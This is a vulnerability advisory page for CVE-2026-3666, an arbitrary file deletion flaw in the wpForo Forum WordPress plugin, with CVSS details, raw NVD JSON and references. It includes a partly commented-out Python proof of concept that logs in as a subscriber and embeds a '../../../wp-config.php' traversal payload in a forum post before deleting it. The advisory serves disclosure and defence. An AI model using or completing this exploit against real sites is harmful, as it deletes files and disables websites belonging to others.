Security Vulnerability Report
中文
CVE-2026-3666 CVSS 8.8 HIGH

CVE-2026-3666

Published: 2026-04-04 12:16:03
Last Modified: 2026-04-24 18:13:29

Description

The wpForo Forum plugin for WordPress is vulnerable to arbitrary file deletion in all versions up to, and including, 2.4.16. This is due to a missing file name/path validation against path traversal sequences. This makes it possible for authenticated attackers, with subscriber level access and above, to delete arbitrary files on the server by embedding a crafted path traversal string in a forum post body and then deleting the post.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

WordPress wpForo Forum <= 2.4.16

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-3666 (Conceptual) # This script demonstrates the logic of the exploit. # Attacker needs Subscriber level credentials. import requests def exploit(target_url, username, password): session = requests.Session() # 1. Authenticate as a low-privileged user (Subscriber) login_data = {'log': username, 'pwd': password, 'wp-submit': 'Log In'} session.post(f"{target_url}/wp-login.php", data=login_data) # 2. Create a forum post containing the path traversal payload # The payload targets a sensitive file, e.g., wp-config.php traversal_payload = "../../../wp-config.php" post_data = { 'action': 'wpforo_create_post', 'body': traversal_payload # Additional forum parameters required... } # Send request to create post # create_response = session.post(f"{target_url}/wp-admin/admin-ajax.php", data=post_data) # post_id = create_response.json()['id'] # Assuming ID is returned # 3. Trigger the vulnerability by deleting the post # The plugin processes the deletion and uses the unvalidated body content delete_data = { 'action': 'wpforo_delete_post', 'postid': '[INSERT_POST_ID]' } # session.post(f"{target_url}/wp-admin/admin-ajax.php", data=delete_data) # print("File deletion attempt triggered.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3666", "sourceIdentifier": "[email protected]", "published": "2026-04-04T12:16:03.390", "lastModified": "2026-04-24T18:13:28.877", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The wpForo Forum plugin for WordPress is vulnerable to arbitrary file deletion in all versions up to, and including, 2.4.16. This is due to a missing file name/path validation against path traversal sequences. This makes it possible for authenticated attackers, with subscriber level access and above, to delete arbitrary files on the server by embedding a crafted path traversal string in a forum post body and then deleting the post."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?old_path=wpforo/tags/2.4.16/classes/Posts.php&new_path=wpforo/tags/2.4.17/classes/Posts.php&old=3471614&new=3483044", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f215e320-8563-4d25-9963-ed3664b4901d?source=cve", "source": "[email protected]"}]}}